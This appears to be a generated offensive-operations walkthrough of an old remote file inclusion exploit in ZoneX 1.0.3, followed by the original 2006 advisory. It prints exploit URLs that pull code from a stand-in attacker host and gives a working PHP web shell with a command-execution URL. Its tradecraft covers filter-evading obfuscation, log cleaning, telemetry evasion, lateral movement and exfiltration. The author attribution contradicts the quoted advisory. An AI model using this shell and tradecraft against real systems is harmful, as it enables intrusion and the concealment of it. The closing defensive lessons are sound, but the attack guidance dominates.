ZoneX 1.0.3 RFI: A Deep Dive for Offensive Operations

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability in ZoneX 1.0.3 - Publishers Gold Edition. RFI allows an attacker to trick a web application into including and executing arbitrary files from a remote server, effectively leading to code execution on the target.

Simple technical breakdown

The vulnerability lies in how the ZoneX script handles user-supplied input for the $phpbb_root_path variable. Instead of sanitizing this input, the script directly uses it in an include statement. This allows an attacker to provide a URL to a malicious script hosted on their own server. When the vulnerable script executes, it fetches and runs the attacker's script, leading to compromise.

Complete code and payload walkthrough

The provided exploit snippet is very concise and focuses on the vulnerable line of code and the exploit URL.

Vulnerable Code Snippet:

include($phpbb_root_path . 'newsletter/scripts/subscriptions.' .$phpEx);

• include(...): This is a PHP language construct. It takes a string argument, which is expected to be a filename. PHP will then attempt to include and execute the code within that file. If the file is not found or cannot be included, PHP will typically generate a warning or error.
• $phpbb_root_path: This is a PHP variable. In the context of this vulnerability, it's intended to hold the path to the root directory of a phpBB installation, which is likely being integrated or used by ZoneX. However, the vulnerability arises because this variable's value is not properly validated before being used.
• 'newsletter/scripts/subscriptions.': This is a static string literal. It represents a fixed part of the path to a file that the script is trying to include.
• .: This is the string concatenation operator in PHP. It joins strings together.
• $phpEx: This is another PHP variable, typically used to store the file extension for PHP files (e.g., .php). This is a common practice in phpBB and related applications to allow for different configurations.

Mapping:

• include($phpbb_root_path . 'newsletter/scripts/subscriptions.' .$phpEx) -> Purpose: To dynamically include a subscription-related script. Behavior: Concatenates the root path, a fixed subdirectory and filename, and the PHP extension, then attempts to execute the resulting file. Output: Executes the code from the included file.

Exploit URL:

http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts?

• http://www.site.com/: The base URL of the vulnerable website.
• [path]/: This represents the directory path to the vulnerable ZoneX installation on the target server.
• includes/usercp_register.php: This is the specific PHP file on the target server that contains the vulnerable include statement. The attacker is directing the request to this file.
• ?: This signifies the start of the query string parameters.
• phpbb_root_path=: This is the GET parameter that the vulnerable script expects to receive.
• http://evil_scripts?: This is the attacker-controlled value for the phpbb_root_path parameter. The attacker would host a malicious script (e.g., a PHP web shell) at http://evil_scripts/ (or a specific filename within that path). The ? at the end is likely a placeholder or a typo in the original exploit, as it's not a valid URL character for a domain name. A more realistic exploit would be http://evil_scripts/shell.txt? or http://evil_scripts/shell.php. The ? might be intended to terminate the query string if the included file itself contained further parameters, but it's more likely an artifact of the exploit's simplicity.

How it works together:

When a user (or attacker) visits the exploit URL, the usercp_register.php script on www.site.com receives the request. It sees the phpbb_root_path parameter and assigns its value (http://evil_scripts?) to the $phpbb_root_path variable. Then, it executes the include statement:

include('http://evil_scripts?' . 'newsletter/scripts/subscriptions.' . '.php');

This effectively becomes:

include('http://evil_scripts?newsletter/scripts/subscriptions..php');

PHP, when encountering a URL in an include statement, will attempt to fetch the content from that URL. If http://evil_scripts/ hosts a malicious script (e.g., shell.php), and the include statement can be manipulated to point to it, the code from shell.php will be executed on the target server.

Shellcode/Payload:

The paper does not provide explicit shellcode bytes. The "payload" is the attacker-controlled script that is hosted remotely. A common payload for RFI vulnerabilities is a PHP web shell, which allows the attacker to execute arbitrary commands on the server through a web interface.

Example of a simple remote payload (not provided in the paper, but illustrative):

If an attacker hosts a file named shell.txt at http://evil_scripts/ with the following content:

<?php
// Simple PHP Web Shell
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

The exploit URL might look like:
http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts/shell.txt?

When this is processed, the include statement would attempt to include http://evil_scripts/shell.txt?newsletter/scripts/subscriptions..php. If the server is configured to allow remote includes and the shell.txt file is fetched and executed, the attacker could then send commands like:

http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts/shell.txt?&cmd=ls -la

This would cause the shell.txt script to execute ls -la on the target server.

Practical details for offensive operations teams

• Required Access Level: Typically requires unauthenticated access to the web application. The vulnerability is triggered via a GET request.
• Lab Preconditions:
  • A target web server running ZoneX 1.0.3 (or a similarly vulnerable version).
  • A separate attacker-controlled server capable of hosting malicious PHP scripts. This server needs to be accessible via HTTP/HTTPS from the target.
  • The target server must be configured to allow allow_url_fopen and allow_url_include in its php.ini configuration. These are often disabled by default for security reasons, but were more commonly enabled in older PHP versions.
• Tooling Assumptions:
  • A web browser for initial reconnaissance and testing.
  • A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests.
  • A simple HTTP server (e.g., Python's http.server, Apache, Nginx) to host the malicious payload.
  • A text editor for crafting payloads.
• Execution Pitfalls:
  • allow_url_fopen / allow_url_include Disabled: This is the most common reason for RFI exploits to fail. If these PHP directives are off, the include function will not fetch remote files.
  • Input Sanitization/Filtering: Modern web applications or WAFs might filter URLs or specific characters, preventing the exploit from reaching the vulnerable include statement.
  • Path Traversal/File Name Mismatch: The exploit relies on the static string 'newsletter/scripts/subscriptions.' being appended. If the attacker's payload is not named in a way that fits this structure, or if the target script has been modified, the include might fail.
  • Incorrect phpEx: If $phpEx is not .php on the target, the include might fail. However, it's usually a safe bet.
  • URL Encoding: Special characters in the attacker's URL might need URL encoding.
  • Payload Hosting: The attacker's server must be stable and accessible.
• Tradecraft Considerations:
  • Reconnaissance: Identify the exact version of ZoneX and its installation path. Look for other PHP files that might be vulnerable to RFI.
  • Payload Staging: Start with a simple payload (e.g., one that just echoes "Pwned") to confirm the RFI works before deploying a full web shell.
  • Obfuscation: If initial attempts fail, consider obfuscating the payload or the URL to bypass basic filters.
  • Post-Exploitation: Once a web shell is established, focus on privilege escalation, lateral movement, and data exfiltration, adhering strictly to the authorized scope.
  • Telemetry Evasion: Be mindful of web server logs. Remote file inclusions can be noisy. Consider using POST requests if possible, or cleaning logs if the engagement scope allows.

Where this was used and when

• Context: This vulnerability was found in ZoneX 1.0.3 - Publishers Gold Edition, a web application likely used for managing publications or content.
• Approximate Year: The exploit was published on milw0rm.com in 2006. This indicates the vulnerability existed and was exploited around that time. RFI vulnerabilities were prevalent in PHP applications during the mid-2000s due to less mature security practices and common misconfigurations in PHP environments.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user input. Always validate and sanitize all data received from external sources, especially when it's used in file operations or database queries.
• Disable allow_url_fopen and allow_url_include: These PHP directives are a significant security risk. They should be disabled in php.ini unless absolutely necessary for a specific, controlled function, and even then, with extreme caution and robust input validation.
• Use Whitelisting for File Includes: Instead of dynamically including files based on user input, maintain a predefined list of allowed files that can be included.
• Secure Configuration of Web Servers and PHP: Regularly review and harden php.ini settings. Ensure web servers are configured to prevent directory traversal and unauthorized file access.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts.
• Regular Patching and Updates: Keep all web applications and their dependencies (like PHP itself) updated to the latest secure versions. Vendors often release patches for known vulnerabilities.
• Code Auditing: Regularly audit custom and third-party code for common vulnerabilities like RFI, SQL injection, XSS, etc.

ASCII visual (if applicable)

This RFI vulnerability can be visualized as a redirection of control flow.

+-------------------+       +-----------------------+       +-----------------+
| Attacker's Server | ----> | Target Web Server     | ----> | Vulnerable      |
| (e.g., evil_scripts)|       | (ZoneX 1.0.3)         |       | PHP Script      |
+-------------------+       +-----------------------+       +-----------------+
        ^                               |
        | (Hosts Malicious Payload)     | (Receives Request with RFI)
        |                               |
        +-------------------------------+
                (Exploit URL:
                 http://target.com/path/script.php?phpbb_root_path=http://attacker.com/payload.txt?)

Explanation:

1. The attacker's server hosts a malicious file (e.g., payload.txt).
2. The attacker crafts an exploit URL that points to a vulnerable script on the target web server. This URL includes a parameter (phpbb_root_path) whose value is the URL of the attacker's malicious file.
3. The vulnerable PHP script on the target server receives the request.
4. It incorrectly uses the attacker-provided value in an include() statement.
5. The target server's PHP interpreter attempts to fetch and execute the content from the attacker's URL, leading to code execution.

Source references

• Paper ID: 2142
• Paper Title: ZoneX 1.0.3 - Publishers Gold Edition Remote File Inclusion
• Author: Mehmet Ince
• Published: 2006-08-07
• Keywords: PHP, webapps
• Paper URL: https://www.exploit-db.com/papers/2142
• Raw Exploit URL: https://www.exploit-db.com/raw/2142

Original Exploit-DB Content (Verbatim)

///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\\\\\\\\\\\
#ZoneX 1.0.3 - Publishers Gold Edition  Remote File Inclusion Vulnerability
-
#Author: xoron
-
#script: ZoneX 1.0.3 - Publishers Gold Edition
-
#Class : Remote
-
#cont@ct: x0r0n[at]hotmail[dot]com
-
#CODE:    include($phpbb_root_path . 'newsletter/scripts/subscriptions.' .$phpEx)
-
#Exploit: http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://evil_scripts?
-
#Thanx : WWW.CYBER-WARRiOR.ORG
-
#Greetz: DJR, x-mastER, R3D4C!D and all cyber-warrior users.
///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\\\\\\\\\\\

# milw0rm.com [2006-08-07]